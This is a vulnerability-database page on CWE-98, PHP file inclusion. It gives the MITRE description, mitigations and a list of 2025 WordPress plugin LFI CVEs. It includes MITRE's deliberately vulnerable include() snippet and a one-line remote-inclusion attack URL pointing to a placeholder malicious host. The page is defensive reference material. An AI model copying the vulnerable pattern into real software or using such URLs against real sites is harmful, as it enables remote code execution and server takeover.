Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CWE-98 (PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)) — Vulnerability Class 1309

1309 vulnerabilities classified as CWE-98 (PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)). AI Chinese analysis included.

CWE-98 represents a critical input validation weakness where PHP applications fail to properly sanitize user-supplied data before passing it to include or require functions. Attackers typically exploit this by injecting malicious URLs or local file paths, enabling Remote File Inclusion (RFI) or Local File Inclusion (LFI). This allows adversaries to execute arbitrary code hosted on external servers or access sensitive system files, often leading to full server compromise. To mitigate this risk, developers must strictly validate and whitelist allowed filenames or paths, ensuring only expected local resources are included. Additionally, disabling the allow_url_include and allow_url_fopen directives in the PHP configuration prevents the inclusion of remote files entirely. Implementing robust input validation and adhering to the principle of least privilege significantly reduces the attack surface associated with dynamic file inclusion mechanisms.

MITRE CWE Description
The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions. In certain versions and configurations of PHP, this can allow an attacker to specify a URL to a remote location from which the product will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP.
Common Consequences (1)
Integrity, Confidentiality, Availability Execute Unauthorized Code or Commands
The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be possible to use normal program behavior to insert php code into files on the local machine which can then be included and force the code to execute since php ignores everything in the f…
Mitigations (5)
Architecture and Design Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Architecture and Design When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Architecture and Design For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Architecture and Design, Operation Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For ex…
Effectiveness: Limited
Architecture and Design, Operation Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database ad…
Examples (1)
The following code, victim.php, attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.
$dir = $_GET['module_name']; include($dir . "/function.php");
Bad · PHP
victim.php?module_name=http://malicious.example.com
Attack
CVE ID Title CVSS Severity Published
CVE-2025-32155 WordPress Beds24 Online Booking plugin <= 2.0.28 - Local File Inclusion vulnerability — Beds24 Online Booking 7.5 High 2025-04-04
CVE-2025-32154 WordPress Catch Dark Mode plugin <= 2.0.1 - Local File Inclusion vulnerability — Catch Dark Mode 7.5 High 2025-04-04
CVE-2025-32153 WordPress VG WooCarousel plugin <= 1.3 - Local File Inclusion vulnerability — VG WooCarousel 7.5 High 2025-04-04
CVE-2025-32152 WordPress Slider a SlidersPack Plugin <= 2.3 - Local File Inclusion vulnerability — Slider a SlidersPack 7.5 High 2025-04-04
CVE-2025-32151 WordPress BuddyForms plugin <= 2.10.2 - Local File Inclusion vulnerability — BuddyForms 7.5 High 2025-04-04
CVE-2025-32150 WordPress Real Estate Manager plugin <= 7.3 - Local File Inclusion vulnerability — Real Estate Manager 7.5 High 2025-04-04
CVE-2025-32142 WordPress Motors plugin <= 1.4.71 - Local File Inclusion vulnerability — Motors 8.8 High 2025-04-04
CVE-2025-32146 WordPress JS Job Manager plugin <= 2.0.2 - Local File Inclusion vulnerability — JS Job Manager 8.8 High 2025-04-04
CVE-2025-32141 WordPress MasterStudy LMS plugin <= 3.5.28 - Local File Inclusion vulnerability — MasterStudy LMS 8.8 High 2025-04-04
CVE-2025-31405 WordPress Fami WooCommerce Compare plugin <= 1.0.5 - Local File Inclusion vulnerability — Fami WooCommerce Compare 7.5 High 2025-04-04
CVE-2025-31098 WordPress DeBounce Email Validator plugin <= 5.7 - Local File Inclusion Vulnerability — DeBounce Email Validator 7.5 High 2025-04-03
CVE-2025-31097 WordPress Material Dashboard plugin <= 1.4.5 - Local File Inclusion Vulnerability — Material Dashboard 8.1 High 2025-04-01
CVE-2025-31082 WordPress News & Blog Designer Pack plugin <= 4.0 - Local File Inclusion vulnerability — News & Blog Designer Pack 8.1 High 2025-04-01
CVE-2025-30901 WordPress JS Help Desk plugin <= 2.9.2 - Local File Inclusion vulnerability — JS Help Desk 8.1 High 2025-04-01
CVE-2025-30849 WordPress Essential Real Estate plugin <= 5.2.0 - Local File Inclusion Vulnerability — Essential Real Estate 8.1 High 2025-04-01
CVE-2025-30870 WordPress WP Travel Engine plugin <= 6.3.5 - Local File Inclusion vulnerability — WP Travel Engine 8.1 High 2025-04-01
CVE-2025-30782 WordPress Subscribe to Download Lite plugin <= 1.2.9 - Local File Inclusion vulnerability — Subscribe to Download Lite 7.5 High 2025-04-01
CVE-2025-31387 WordPress InstaWP Connect plugin <= 0.1.0.82 - Local File Inclusion vulnerability — InstaWP Connect 7.5 High 2025-03-31
CVE-2025-31016 WordPress JetWooBuilder plugin <= 2.1.18 - Local File Inclusion vulnerability — JetWooBuilder 7.5 High 2025-03-31
CVE-2025-30835 WordPress Accounting for WooCommerce plugin <= 1.6.8 - Local File Inclusion vulnerability — Accounting for WooCommerce 7.5 High 2025-03-31
CVE-2025-31432 WordPress Pop-Up Chop Chop plugin <= 2.1.7 - Local File Inclusion Vulnerability — Pop-Up Chop Chop 7.5 High 2025-03-28
CVE-2025-26890 WordPress HUSKY plugin <= 1.3.6.4 - Local File Inclusion vulnerability — HUSKY 7.5 High 2025-03-27
CVE-2025-26909 WordPress Hide My WP Ghost plugin <= 5.4.01 - Local File Inclusion to RCE vulnerability — Hide My WP Ghost 9.6 Critical 2025-03-27
CVE-2025-30891 WordPress WpTravelly Plugin <= 1.8.7 - Local File Inclusion vulnerability — WpTravelly 8.8 High 2025-03-27
CVE-2025-30890 WordPress Login Widget for Ultimate Member plugin <= 1.1.2 - Local File Inclusion vulnerability — Login Widget for Ultimate Member 7.5 High 2025-03-27
CVE-2025-30871 WordPress WP Travel Engine plugin <= 6.3.5 - Local File Inclusion vulnerability — WP Travel Engine 7.5 High 2025-03-27
CVE-2025-30868 WordPress Team Manager plugin <= 2.1.23 - Local File Inclusion Vulnerability — Team Manager 7.5 High 2025-03-27
CVE-2025-30846 WordPress Restaurant Menu by MotoPress plugin <= 2.4.4 - Local File Inclusion vulnerability — Restaurant Menu by MotoPress 8.8 High 2025-03-27
CVE-2025-30845 WordPress The Pack Elementor addons plugin <= 2.1.1 - Local File Inclusion vulnerability — The Pack Elementor addons 7.5 High 2025-03-27
CVE-2025-30831 WordPress Themify Event Post Plugin <= 1.3.2 - Local File Inclusion vulnerability — Themify Event Post 7.5 High 2025-03-27

Vulnerabilities classified as CWE-98 (PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)) represent 1309 CVEs. The CWE taxonomy describes the weakness; review individual CVEs for product-specific impact.